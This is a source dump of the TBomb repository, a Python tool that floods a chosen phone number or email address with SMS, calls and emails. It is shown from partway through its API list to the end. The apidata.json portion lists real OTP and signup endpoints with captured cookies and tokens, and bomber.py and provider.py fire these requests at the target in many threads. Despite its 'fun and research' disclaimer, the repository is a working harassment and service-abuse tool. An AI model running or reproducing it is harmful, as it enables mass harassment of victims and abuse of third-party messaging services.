"ce35392c174a9f2fbe2f2c29a0c", 573 | "_ga": "GA1.2.1646044729.1600579108", 574 | "_gid": "GA1.2.365026440.1600579108", 575 | "_fbp": "fb.1.1600579107930.1446075664", 576 | "dataLayer_": "Home Pages", 577 | "csrftoken": "RI5TGK7tuZdkJjVNzu3lRdSeRcztdtYqfsLmngbNRK1lMH7Uir1qFprpSgCI2ZNy", 578 | "_omappvp": "RIeaJ0pgkcvqwRygRT8VTxJ6PrpnRvze6xwTpZBXztsuBXhgRV5OIU97g9s0DivdxwVAHM0DF1teulefRfsK0wCo2MRjp325", 579 | "G_ENABLED_IDPS": "google", 580 | "_dc_gtm_UA-46098128-1": "1", 581 | "_omappvs": "1600579353765", 582 | "WZRK_S_654-ZZ4-5Z5Z": "%7B%22p%22%3A5%2C%22s%22%3A1600579103%2C%22t%22%3A1600579356%7D" 583 | }, 584 | "headers": { 585 | "X-CSRFToken": "9tKY96jb358WKiZBMwhz2EcranwljWDbxdqrQCnvqQWXNGbIvtfEQQLCbrzA8ssj", 586 | "X-Requested-With": "XMLHttpRequest", 587 | "User-Agent": "Mozilla/5.0 (Linux; Android 10; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Mobile Safari/537.36", 588 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 589 | "Origin": "https://www.careers360.com", 590 | "Sec-Fetch-Site": "same-origin", 591 | "Sec-Fetch-Mode": "cors", 592 | "Sec-Fetch-Dest": "empty", 593 | "Referer": "https://www.careers360.com/user/otp-verify/101e8d6e591af6688f640eee08f5a5f8?destination=&click_location=header&google_success=header" 594 | }, 595 | "data": { 596 | "mobile_number": "{target}", 597 | "method": "call", 598 | "uid": "12692588" 599 | }, 600 | "identifier": "success" 601 | } 602 | ], 603 | "multi": [] 604 | }, 605 | "mail": { 606 | "multi": [ 607 | { 608 | "name": "themezee", 609 | "method": "POST", 610 | "url": "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form", 611 | "data": { 612 | "EMAIL": "{target}", 613 | "AGREE": "1", 614 | "_mc4wp_honeypot": "", 615 | "_mc4wp_timestamp": "1614865641", 616 | "_mc4wp_form_id": "184963", 617 | "_mc4wp_form_element_id": "mc4wp-form-1" 618 | }, 619 | "identifier": "mc4wp-success" 620 | }, 621 | { 622 | "name": "credible_init", 623 | "method": "POST", 624 | "url": "https://mycredible.info:443/mycredible/signup", 625 | "data": { 626 | "email": "{target}", 627 | "first_name": "Lex", 628 | "last_name": "Luthor" 629 | }, 630 | "identifier": "ccuid" 631 | }, 632 | { 633 | "name": "credible_mail", 634 | "method": "GET", 635 | "url": "https://mycredible.info:443/mycredible/signin/request_otp", 636 | "params": { 637 | "email": "{target}" 638 | }, 639 | "identifier": "" 640 | } 641 | ] 642 | } 643 | } 644 | -------------------------------------------------------------------------------- /bomber.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: UTF-8 -*- 3 | 4 | import os 5 | import shutil 6 | import sys 7 | import subprocess 8 | import string 9 | import random 10 | import json 11 | import re 12 | import time 13 | import argparse 14 | import zipfile 15 | from io import BytesIO 16 | 17 | from concurrent.futures import ThreadPoolExecutor, as_completed 18 | 19 | from utils.decorators import MessageDecorator 20 | from utils.provider import APIProvider 21 | 22 | try: 23 | import requests 24 | from colorama import Fore, Style 25 | except ImportError: 26 | print("\tSome dependencies could not be imported (possibly not installed)") 27 | print( 28 | "Type `pip3 install -r requirements.txt` to " 29 | " install all required packages") 30 | sys.exit(1) 31 | 32 | 33 | def readisdc(): 34 | with open("isdcodes.json") as file: 35 | isdcodes = json.load(file) 36 | return isdcodes 37 | 38 | 39 | def get_version(): 40 | try: 41 | return open(".version", "r").read().strip() 42 | except Exception: 43 | return '1.0' 44 | 45 | 46 | def clr(): 47 | if os.name == "nt": 48 | os.system("cls") 49 | else: 50 | os.system("clear") 51 | 52 | 53 | def bann_text(): 54 | clr() 55 | logo = """ 56 | ████████ █████ ██ 57 | ▒▒▒██▒▒▒ ██▒▒██ ██ 58 | ██ ██ ██ ██ ██ ██ 59 | ██ █████▒ ████ ███ ███ █████ 60 | ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ 61 | ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ 62 | ██ █████▒ ▒████▒ ██ ██ █████▒ 63 | ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ 64 | """ 65 | if ASCII_MODE: 66 | logo = "" 67 | version = "Version: "+__VERSION__ 68 | contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) 69 | print(random.choice(ALL_COLORS) + logo + RESET_ALL) 70 | mesgdcrt.SuccessMessage(version) 71 | mesgdcrt.SectionMessage(contributors) 72 | print() 73 | 74 | 75 | def check_intr(): 76 | try: 77 | requests.get("https://motherfuckingwebsite.com") 78 | except Exception: 79 | bann_text() 80 | mesgdcrt.FailureMessage("Poor internet connection detected") 81 | sys.exit(2) 82 | 83 | 84 | def format_phone(num): 85 | num = [n for n in num if n in string.digits] 86 | return ''.join(num).strip() 87 | 88 | 89 | def do_zip_update(): 90 | success = False 91 | if DEBUG_MODE: 92 | zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" 93 | dir_name = "TBomb-dev" 94 | else: 95 | zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" 96 | dir_name = "TBomb-master" 97 | print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) 98 | response = requests.get(zip_url) 99 | if response.status_code == 200: 100 | zip_content = response.content 101 | try: 102 | with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: 103 | for member in zip_file.namelist(): 104 | filename = os.path.split(member) 105 | if not filename[1]: 106 | continue 107 | new_filename = os.path.join( 108 | filename[0].replace(dir_name, "."), 109 | filename[1]) 110 | source = zip_file.open(member) 111 | target = open(new_filename, "wb") 112 | with source, target: 113 | shutil.copyfileobj(source, target) 114 | success = True 115 | except Exception: 116 | mesgdcrt.FailureMessage("Error occured while extracting !!") 117 | if success: 118 | mesgdcrt.SuccessMessage("TBomb was updated to the latest version") 119 | mesgdcrt.GeneralMessage( 120 | "Please run the script again to load the latest version") 121 | else: 122 | mesgdcrt.FailureMessage("Unable to update TBomb.") 123 | mesgdcrt.WarningMessage( 124 | "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") 125 | 126 | sys.exit() 127 | 128 | 129 | def do_git_update(): 130 | success = False 131 | try: 132 | print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') 133 | process = subprocess.Popen("git checkout . && git pull ", 134 | shell=True, 135 | stdout=subprocess.PIPE, 136 | stderr=subprocess.STDOUT) 137 | while process: 138 | print(ALL_COLORS[0]+'.'+RESET_ALL, end='') 139 | time.sleep(1) 140 | returncode = process.poll() 141 | if returncode is not None: 142 | break 143 | success = not process.returncode 144 | except Exception: 145 | success = False 146 | print("\n") 147 | 148 | if success: 149 | mesgdcrt.SuccessMessage("TBomb was updated to the latest version") 150 | mesgdcrt.GeneralMessage( 151 | "Please run the script again to load the latest version") 152 | else: 153 | mesgdcrt.FailureMessage("Unable to update TBomb.") 154 | mesgdcrt.WarningMessage("Make Sure To Install 'git' ") 155 | mesgdcrt.GeneralMessage("Then run command:") 156 | print( 157 | "git checkout . && " 158 | "git pull https://github.com/TheSpeedX/TBomb.git HEAD") 159 | sys.exit() 160 | 161 | 162 | def update(): 163 | if shutil.which('git'): 164 | do_git_update() 165 | else: 166 | do_zip_update() 167 | 168 | 169 | def check_for_updates(): 170 | if DEBUG_MODE: 171 | mesgdcrt.WarningMessage( 172 | "DEBUG MODE Enabled! Auto-Update check is disabled.") 173 | return 174 | mesgdcrt.SectionMessage("Checking for updates") 175 | fver = requests.get( 176 | "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" 177 | ).text.strip() 178 | if fver != __VERSION__: 179 | mesgdcrt.WarningMessage("An update is available") 180 | mesgdcrt.GeneralMessage("Starting update...") 181 | update() 182 | else: 183 | mesgdcrt.SuccessMessage("TBomb is up-to-date") 184 | mesgdcrt.GeneralMessage("Starting TBomb") 185 | 186 | 187 | def notifyen(): 188 | try: 189 | if DEBUG_MODE: 190 | url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" 191 | else: 192 | url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" 193 | noti = requests.get(url).text.upper() 194 | if len(noti) > 10: 195 | mesgdcrt.SectionMessage("NOTIFICATION: " + noti) 196 | print() 197 | except Exception: 198 | pass 199 | 200 | 201 | def get_phone_info(): 202 | while True: 203 | target = "" 204 | cc = input(mesgdcrt.CommandMessage( 205 | "Enter your country code (Without +): ")) 206 | cc = format_phone(cc) 207 | if not country_codes.get(cc, False): 208 | mesgdcrt.WarningMessage( 209 | "The country code ({cc}) that you have entered" 210 | " is invalid or unsupported".format(cc=cc)) 211 | continue 212 | target = input(mesgdcrt.CommandMessage( 213 | "Enter the target number: +" + cc + " ")) 214 | target = format_phone(target) 215 | if ((len(target) <= 6) or (len(target) >= 12)): 216 | mesgdcrt.WarningMessage( 217 | "The phone number ({target})".format(target=target) + 218 | "that you have entered is invalid") 219 | continue 220 | return (cc, target) 221 | 222 | 223 | def get_mail_info(): 224 | mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' 225 | while True: 226 | target = input(mesgdcrt.CommandMessage("Enter target mail: ")) 227 | if not re.search(mail_regex, target, re.IGNORECASE): 228 | mesgdcrt.WarningMessage( 229 | "The mail ({target})".format(target=target) + 230 | " that you have entered is invalid") 231 | continue 232 | return target 233 | 234 | 235 | def pretty_print(cc, target, success, failed): 236 | requested = success+failed 237 | mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") 238 | mesgdcrt.GeneralMessage( 239 | "Please stay connected to the internet during bombing") 240 | mesgdcrt.GeneralMessage("Target : " + cc + " " + target) 241 | mesgdcrt.GeneralMessage("Sent : " + str(requested)) 242 | mesgdcrt.GeneralMessage("Successful : " + str(success)) 243 | mesgdcrt.GeneralMessage("Failed : " + str(failed)) 244 | mesgdcrt.WarningMessage( 245 | "This tool was made for fun and research purposes only") 246 | mesgdcrt.SuccessMessage("TBomb was created by SpeedX") 247 | 248 | 249 | def workernode(mode, cc, target, count, delay, max_threads): 250 | 251 | api = APIProvider(cc, target, mode, delay=delay) 252 | clr() 253 | mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") 254 | mesgdcrt.GeneralMessage( 255 | "Please stay connected to the internet during bombing") 256 | mesgdcrt.GeneralMessage("API Version : " + api.api_version) 257 | mesgdcrt.GeneralMessage("Target : " + cc + target) 258 | mesgdcrt.GeneralMessage("Amount : " + str(count)) 259 | mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") 260 | mesgdcrt.GeneralMessage("Delay : " + str(delay) + 261 | " seconds") 262 | mesgdcrt.WarningMessage( 263 | "This tool was made for fun and research purposes only") 264 | print() 265 | input(mesgdcrt.CommandMessage( 266 | "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) 267 | 268 | if len(APIProvider.api_providers) == 0: 269 | mesgdcrt.FailureMessage("Your country/target is not supported yet") 270 | mesgdcrt.GeneralMessage("Feel free to reach out to us") 271 | input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) 272 | bann_text() 273 | sys.exit() 274 | 275 | success, failed = 0, 0 276 | while success < count: 277 | with ThreadPoolExecutor(max_workers=max_threads) as executor: 278 | jobs = [] 279 | for i in range(count-success): 280 | jobs.append(executor.submit(api.hit)) 281 | 282 | for job in as_completed(jobs): 283 | result = job.result() 284 | if result is None: 285 | mesgdcrt.FailureMessage( 286 | "Bombing limit for your target has been reached") 287 | mesgdcrt.GeneralMessage("Try Again Later !!") 288 | input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) 289 | bann_text() 290 | sys.exit() 291 | if result: 292 | success += 1 293 | else: 294 | failed += 1 295 | clr() 296 | pretty_print(cc, target, success, failed) 297 | print("\n") 298 | mesgdcrt.SuccessMessage("Bombing completed!") 299 | time.sleep(1.5) 300 | bann_text() 301 | sys.exit() 302 | 303 | 304 | def selectnode(mode="sms"): 305 | mode = mode.lower().strip() 306 | try: 307 | clr() 308 | bann_text() 309 | check_intr() 310 | check_for_updates() 311 | notifyen() 312 | 313 | max_limit = {"sms": 500, "call": 15, "mail": 200} 314 | cc, target = "", "" 315 | if mode in ["sms", "call"]: 316 | cc, target = get_phone_info() 317 | if cc != "91": 318 | max_limit.update({"sms": 100}) 319 | elif mode == "mail": 320 | target = get_mail_info() 321 | else: 322 | raise KeyboardInterrupt 323 | 324 | limit = max_limit[mode] 325 | while True: 326 | try: 327 | message = ("Enter number of {type}".format(type=mode.upper()) + 328 | " to send (Max {limit}): ".format(limit=limit)) 329 | count = int(input(mesgdcrt.CommandMessage(message)).strip()) 330 | if count > limit or count == 0: 331 | mesgdcrt.WarningMessage("You have requested " + str(count) 332 | + " {type}".format( 333 | type=mode.upper())) 334 | mesgdcrt.GeneralMessage( 335 | "Automatically capping the value" 336 | " to {limit}".format(limit=limit)) 337 | count = limit 338 | delay = float(input( 339 | mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) 340 | .strip()) 341 | # delay = 0 342 | max_thread_limit = (count//10) if (count//10) > 0 else 1 343 | max_threads = int(input( 344 | mesgdcrt.CommandMessage( 345 | "Enter Number of Thread (Recommended: {max_limit}): " 346 | .format(max_limit=max_thread_limit))) 347 | .strip()) 348 | max_threads = max_threads if ( 349 | max_threads > 0) else max_thread_limit 350 | if (count < 0 or delay < 0): 351 | raise Exception 352 | break 353 | except KeyboardInterrupt as ki: 354 | raise ki 355 | except Exception: 356 | mesgdcrt.FailureMessage("Read Instructions Carefully !!!") 357 | print() 358 | 359 | workernode(mode, cc, target, count, delay, max_threads) 360 | except KeyboardInterrupt: 361 | mesgdcrt.WarningMessage("Received INTR call - Exiting...") 362 | sys.exit() 363 | 364 | 365 | mesgdcrt = MessageDecorator("icon") 366 | if sys.version_info[0] != 3: 367 | mesgdcrt.FailureMessage("TBomb will work only in Python v3") 368 | sys.exit() 369 | 370 | try: 371 | country_codes = readisdc()["isdcodes"] 372 | except FileNotFoundError: 373 | update() 374 | 375 | 376 | __VERSION__ = get_version() 377 | __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] 378 | 379 | ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, 380 | Fore.MAGENTA, Fore.CYAN, Fore.WHITE] 381 | RESET_ALL = Style.RESET_ALL 382 | 383 | ASCII_MODE = False 384 | DEBUG_MODE = False 385 | 386 | description = """TBomb - Your Friendly Spammer Application 387 | 388 | TBomb can be used for many purposes which incudes - 389 | \t Exposing the vulnerable APIs over Internet 390 | \t Friendly Spamming 391 | \t Testing Your Spam Detector and more .... 392 | 393 | TBomb is not intented for malicious uses. 394 | """ 395 | 396 | parser = argparse.ArgumentParser(description=description, 397 | epilog='Coded by SpeedX !!!') 398 | parser.add_argument("-sms", "--sms", action="store_true", 399 | help="start TBomb with SMS Bomb mode") 400 | parser.add_argument("-call", "--call", action="store_true", 401 | help="start TBomb with CALL Bomb mode") 402 | parser.add_argument("-mail", "--mail", action="store_true", 403 | help="start TBomb with MAIL Bomb mode") 404 | parser.add_argument("-ascii", "--ascii", action="store_true", 405 | help="show only characters of standard ASCII set") 406 | parser.add_argument("-u", "--update", action="store_true", 407 | help="update TBomb") 408 | parser.add_argument("-c", "--contributors", action="store_true", 409 | help="show current TBomb contributors") 410 | parser.add_argument("-v", "--version", action="store_true", 411 | help="show current TBomb version") 412 | 413 | 414 | if __name__ == "__main__": 415 | args = parser.parse_args() 416 | if args.ascii: 417 | ASCII_MODE = True 418 | mesgdcrt = MessageDecorator("stat") 419 | if args.version: 420 | print("Version: ", __VERSION__) 421 | elif args.contributors: 422 | print("Contributors: ", " ".join(__CONTRIBUTORS__)) 423 | elif args.update: 424 | update() 425 | elif args.mail: 426 | selectnode(mode="mail") 427 | elif args.call: 428 | selectnode(mode="call") 429 | elif args.sms: 430 | selectnode(mode="sms") 431 | else: 432 | choice = "" 433 | avail_choice = { 434 | "1": "SMS", 435 | "2": "CALL", 436 | "3": "MAIL" 437 | } 438 | try: 439 | while (choice not in avail_choice): 440 | clr() 441 | bann_text() 442 | print("Available Options:\n") 443 | for key, value in avail_choice.items(): 444 | print("[ {key} ] {value} BOMB".format(key=key, 445 | value=value)) 446 | print() 447 | choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) 448 | selectnode(mode=avail_choice[choice].lower()) 449 | except KeyboardInterrupt: 450 | mesgdcrt.WarningMessage("Received INTR call - Exiting...") 451 | sys.exit() 452 | sys.exit() 453 | -------------------------------------------------------------------------------- /isdcodes.json: -------------------------------------------------------------------------------- 1 | { 2 | "isdcodes": { 3 | "93": "AF", 4 | "355": "AL", 5 | "213": "DZ", 6 | "376": "AD", 7 | "244": "AO", 8 | "672": "AQ", 9 | "54": "AR", 10 | "374": "AM", 11 | "297": "AW", 12 | "61": "AU", 13 | "43": "AT", 14 | "994": "AZ", 15 | "973": "BH", 16 | "880": "BD", 17 | "375": "BY", 18 | "32": "BE", 19 | "501": "BZ", 20 | "229": "BJ", 21 | "975": "BT", 22 | "591": "BO", 23 | "387": "BA", 24 | "267": "BW", 25 | "55": "BR", 26 | "246": "IO", 27 | "673": "BN", 28 | "359": "BG", 29 | "226": "BF", 30 | "257": "BI", 31 | "855": "KH", 32 | "237": "CM", 33 | "238": "CV", 34 | "236": "CF", 35 | "235": "TD", 36 | "56": "CL", 37 | "86": "CN", 38 | "57": "CO", 39 | "269": "KM", 40 | "682": "CK", 41 | "506": "CR", 42 | "385": "HR", 43 | "53": "CU", 44 | "599": "AN", 45 | "357": "CY", 46 | "420": "CZ", 47 | "243": "CD", 48 | "45": "DK", 49 | "253": "DJ", 50 | "670": "TL", 51 | "593": "EC", 52 | "20": "EG", 53 | "503": "SV", 54 | "240": "GQ", 55 | "291": "ER", 56 | "372": "EE", 57 | "251": "ET", 58 | "500": "FK", 59 | "298": "FO", 60 | "679": "FJ", 61 | "358": "FI", 62 | "33": "FR", 63 | "689": "PF", 64 | "241": "GA", 65 | "220": "GM", 66 | "995": "GE", 67 | "49": "DE", 68 | "233": "GH", 69 | "350": "GI", 70 | "30": "GR", 71 | "299": "GL", 72 | "502": "GT", 73 | "224": "GN", 74 | "245": "GW", 75 | "592": "GY", 76 | "509": "HT", 77 | "504": "HN", 78 | "852": "HK", 79 | "36": "HU", 80 | "354": "IS", 81 | "91": "IN", 82 | "62": "ID", 83 | "98": "IR", 84 | "964": "IQ", 85 | "353": "IE", 86 | "972": "IL", 87 | "39": "IT", 88 | "225": "CI", 89 | "81": "JP", 90 | "962": "JO", 91 | "254": "KE", 92 | "686": "KI", 93 | "383": "XK", 94 | "965": "KW", 95 | "996": "KG", 96 | "856": "LA", 97 | "371": "LV", 98 | "961": "LB", 99 | "266": "LS", 100 | "231": "LR", 101 | "218": "LY", 102 | "423": "LI", 103 | "370": "LT", 104 | "352": "LU", 105 | "853": "MO", 106 | "389": "MK", 107 | "261": "MG", 108 | "265": "MW", 109 | "60": "MY", 110 | "960": "MV", 111 | "223": "ML", 112 | "356": "MT", 113 | "692": "MH", 114 | "222": "MR", 115 | "230": "MU", 116 | "262": "RE", 117 | "52": "MX", 118 | "691": "FM", 119 | "373": "MD", 120 | "377": "MC", 121 | "976": "MN", 122 | "382": "ME", 123 | "212": "EH", 124 | "258": "MZ", 125 | "95": "MM", 126 | "264": "NA", 127 | "674": "NR", 128 | "977": "NP", 129 | "31": "NL", 130 | "687": "NC", 131 | "64": "NZ", 132 | "505": "NI", 133 | "227": "NE", 134 | "234": "NG", 135 | "683": "NU", 136 | "850": "KP", 137 | "47": "SJ", 138 | "968": "OM", 139 | "92": "PK", 140 | "680": "PW", 141 | "970": "PS", 142 | "507": "PA", 143 | "675": "PG", 144 | "595": "PY", 145 | "51": "PE", 146 | "63": "PH", 147 | "48": "PL", 148 | "351": "PT", 149 | "974": "QA", 150 | "242": "CG", 151 | "40": "RO", 152 | "7": "RU", 153 | "250": "RW", 154 | "590": "MF", 155 | "290": "SH", 156 | "508": "PM", 157 | "685": "WS", 158 | "378": "SM", 159 | "239": "ST", 160 | "966": "SA", 161 | "221": "SN", 162 | "381": "RS", 163 | "248": "SC", 164 | "232": "SL", 165 | "65": "SG", 166 | "421": "SK", 167 | "386": "SI", 168 | "677": "SB", 169 | "252": "SO", 170 | "27": "ZA", 171 | "82": "KR", 172 | "211": "SS", 173 | "34": "ES", 174 | "94": "LK", 175 | "249": "SD", 176 | "597": "SR", 177 | "268": "SZ", 178 | "46": "SE", 179 | "41": "CH", 180 | "963": "SY", 181 | "886": "TW", 182 | "992": "TJ", 183 | "255": "TZ", 184 | "66": "TH", 185 | "228": "TG", 186 | "690": "TK", 187 | "676": "TO", 188 | "216": "TN", 189 | "90": "TR", 190 | "993": "TM", 191 | "688": "TV", 192 | "256": "UG", 193 | "380": "UA", 194 | "971": "AE", 195 | "44": "GB", 196 | "1": "US", 197 | "598": "UY", 198 | "998": "UZ", 199 | "678": "VU", 200 | "379": "VA", 201 | "58": "VE", 202 | "84": "VN", 203 | "681": "WF", 204 | "967": "YE", 205 | "260": "ZM", 206 | "263": "ZW" 207 | } 208 | } -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi>=2020.6.20 2 | chardet>=3.0.4 3 | colorama>=0.4.3 4 | idna>=2.10 5 | requests>=2.24.0 6 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheSpeedX/TBomb/6e61fbcafcd3d653004545eabcb196ebaa84b257/utils/__init__.py -------------------------------------------------------------------------------- /utils/decorators.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Style 2 | 3 | 4 | class IconicDecorator(object): 5 | def __init__(self): 6 | self.PASS = Style.BRIGHT + Fore.GREEN + "[ ✔ ]" + Style.RESET_ALL 7 | self.FAIL = Style.BRIGHT + Fore.RED + "[ ✘ ]" + Style.RESET_ALL 8 | self.WARN = Style.BRIGHT + Fore.YELLOW + "[ ! ]" + Style.RESET_ALL 9 | self.HEAD = Style.BRIGHT + Fore.CYAN + "[ # ]" + Style.RESET_ALL 10 | self.CMDL = Style.BRIGHT + Fore.BLUE + "[ → ]" + Style.RESET_ALL 11 | self.STDS = " " 12 | 13 | 14 | class StatusDecorator(object): 15 | def __init__(self): 16 | self.PASS = Style.BRIGHT + Fore.GREEN + "[ SUCCESS ]" + Style.RESET_ALL 17 | self.FAIL = Style.BRIGHT + Fore.RED + "[ FAILURE ]" + Style.RESET_ALL 18 | self.WARN = Style.BRIGHT + Fore.YELLOW + "[ WARNING ]"\ 19 | + Style.RESET_ALL 20 | self.HEAD = Style.BRIGHT + Fore.CYAN + "[ SECTION ]" + Style.RESET_ALL 21 | self.CMDL = Style.BRIGHT + Fore.BLUE + "[ COMMAND ]" + Style.RESET_ALL 22 | self.STDS = " " 23 | 24 | 25 | class MessageDecorator(object): 26 | def __init__(self, attr): 27 | ICON = IconicDecorator() 28 | STAT = StatusDecorator() 29 | if attr == "icon": 30 | self.PASS = ICON.PASS 31 | self.FAIL = ICON.FAIL 32 | self.WARN = ICON.WARN 33 | self.HEAD = ICON.HEAD 34 | self.CMDL = ICON.CMDL 35 | self.STDS = ICON.STDS 36 | elif attr == "stat": 37 | self.PASS = STAT.PASS 38 | self.FAIL = STAT.FAIL 39 | self.WARN = STAT.WARN 40 | self.HEAD = STAT.HEAD 41 | self.CMDL = STAT.CMDL 42 | self.STDS = STAT.STDS 43 | 44 | def SuccessMessage(self, RequestMessage): 45 | print(self.PASS + " " + Style.RESET_ALL + RequestMessage) 46 | 47 | def FailureMessage(self, RequestMessage): 48 | print(self.FAIL + " " + Style.RESET_ALL + RequestMessage) 49 | 50 | def WarningMessage(self, RequestMessage): 51 | print(self.WARN + " " + Style.RESET_ALL + RequestMessage) 52 | 53 | def SectionMessage(self, RequestMessage): 54 | print(self.HEAD + " " + Fore.CYAN + Style.BRIGHT 55 | + RequestMessage + Style.RESET_ALL) 56 | 57 | def CommandMessage(self, RequestMessage): 58 | return self.CMDL + " " + Style.RESET_ALL + RequestMessage 59 | 60 | def GeneralMessage(self, RequestMessage): 61 | print(self.STDS + " " + Style.RESET_ALL + RequestMessage) 62 | 63 | -------------------------------------------------------------------------------- /utils/provider.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | import json 4 | import time 5 | 6 | 7 | class APIProvider: 8 | 9 | api_providers = [] 10 | delay = 0 11 | status = True 12 | 13 | def __init__(self, cc, target, mode, delay=0): 14 | try: 15 | PROVIDERS = json.load(open('apidata.json', 'r')) 16 | except Exception: 17 | PROVIDERS = requests.get( 18 | "https://github.com/TheSpeedX/TBomb/raw/master/apidata.json" 19 | ).json() 20 | self.config = None 21 | self.cc = cc 22 | self.target = target 23 | self.mode = mode 24 | self.index = 0 25 | self.lock = threading.Lock() 26 | self.api_version = PROVIDERS.get("version", "2") 27 | APIProvider.delay = delay 28 | providers = PROVIDERS.get(mode.lower(), {}) 29 | APIProvider.api_providers = providers.get(cc, []) 30 | if len(APIProvider.api_providers) < 10: 31 | APIProvider.api_providers += providers.get("multi", []) 32 | 33 | def format(self): 34 | config_dump = json.dumps(self.config) 35 | config_dump = config_dump.replace("{target}", self.target) 36 | config_dump = config_dump.replace("{cc}", self.cc) 37 | self.config = json.loads(config_dump) 38 | 39 | def select_api(self): 40 | try: 41 | if len(APIProvider.api_providers) == 0: 42 | raise IndexError 43 | self.index += 1 44 | if self.index >= len(APIProvider.api_providers): 45 | self.index = 0 46 | except IndexError: 47 | self.index = -1 48 | return 49 | self.config = APIProvider.api_providers[self.index] 50 | perma_headers = {"User-Agent": 51 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0)" 52 | " Gecko/20100101 Firefox/72.0"} 53 | if "headers" in self.config: 54 | self.config["headers"].update(perma_headers) 55 | else: 56 | self.config["headers"] = perma_headers 57 | self.format() 58 | 59 | def remove(self): 60 | try: 61 | del APIProvider.api_providers[self.index] 62 | return True 63 | except Exception: 64 | return False 65 | 66 | def request(self): 67 | self.select_api() 68 | if not self.config or self.index == -1: 69 | return None 70 | identifier = self.config.pop("identifier", "").lower() 71 | del self.config['name'] 72 | self.config['timeout'] = 30 73 | response = requests.request(**self.config) 74 | return identifier in response.text.lower() 75 | 76 | def hit(self): 77 | try: 78 | if not APIProvider.status: 79 | return 80 | time.sleep(APIProvider.delay) 81 | self.lock.acquire() 82 | response = self.request() 83 | if response is False: 84 | self.remove() 85 | elif response is None: 86 | APIProvider.status = False 87 | return response 88 | except Exception: 89 | response = False 90 | finally: 91 | self.lock.release() 92 | return response 93 | --------------------------------------------------------------------------------